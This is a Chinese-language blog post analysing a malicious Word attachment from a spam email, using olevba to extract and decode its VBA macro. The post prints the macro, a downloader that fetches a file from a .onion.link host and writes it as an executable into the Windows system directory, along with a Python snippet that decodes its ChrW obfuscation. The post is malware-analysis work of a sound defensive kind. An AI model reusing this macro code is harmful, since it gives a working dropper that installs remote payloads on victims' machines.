您好,登錄后才能下訂單哦!
上周一(12月4號),朋友給我轉發了一封垃圾郵件,郵件里面附帶一個word文檔,我們倆都是搞信安,自然察覺一絲危險的氣味,之前也沒有分析過word附件,因而有了今天的分析。
分析有風險,請在虛擬機上運行;且在分析之前要禁止word的宏自動運行
可以看到郵件的正文內容,是由一張圖片和一個附件組成,其中我們要重點關注的就是。
4.2 olevba 提取宏展示
olevba -c xxx.doc
4.5 查看宏代碼
可以看到這里存在一段vb編寫的代碼,從調用WinHttpReq可以猜出來,這一個word文檔的作用是一個下載器
Sub Main
Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", "http://ypg7rfjvfywj7jhp.onion.link/icon.jpg", False, "username", "password"
WinHttpReq.send
如下圖,使用tor瀏覽器訪問對應的暗網鏈接,返回一個網頁來說明該暗網地址已經失效。
Dim first5 As String
Dim second5 As String
Dim last5 As String
first5 = ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)
second5 = ChrW(97) & ChrW(109)
last5 = first5 + second5
其中重要的部分就是first5和second5中的ChrW,ChrW是將十進制的ascii值轉換為ascii字符,因而可以用python來做一個轉換。
first5 = "ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)"
second5 = "ChrW(97) & ChrW(109)"
def convert_vb2py(s):
first_s = s.replace("ChrW","chr")
second_s = first_s.replace("&","+")
return second_s
print eval(convert_vb2py(first5))+eval(convert_vb2py(second5))
最終我們可以得到last5的值為ADODB.Stream,它是vb中一個對象,用來與文件系統操作
Step 3. 保存http://ypg7rfjvfywj7jhp.onion.link/icon.jpg 到本地文件
xyuhjnx = WinHttpReq.responseBody
If WinHttpReq.Status = 200 Then
Set oStream = CreateObject(last5)
oStream.Open
oStream.Type = Val("1FFF")
oStream.Write WinHttpReq.responseBody
Dim first6 As String
Dim last6 As String
first6 = ChrW(92) & ChrW(99) & ChrW(104) & ChrW(101) & ChrW(99) & ChrW(107) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101)
last6 = first6
oStream.SaveToFile Environ( "svchost.exe", Val("2FFF")
oStream.Close
End If
End Sub
代碼獲取icon.jpg的內容,并創建一個Stream對象寫入icon.jpg的內容,然后保存到svchost.exe所在的目錄,也就是c:\windows\system32\目錄下,Val("2FFF")的值為2,在adobe.stream的SaveToFile方法中,第二個參數代表覆蓋原來的文件。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。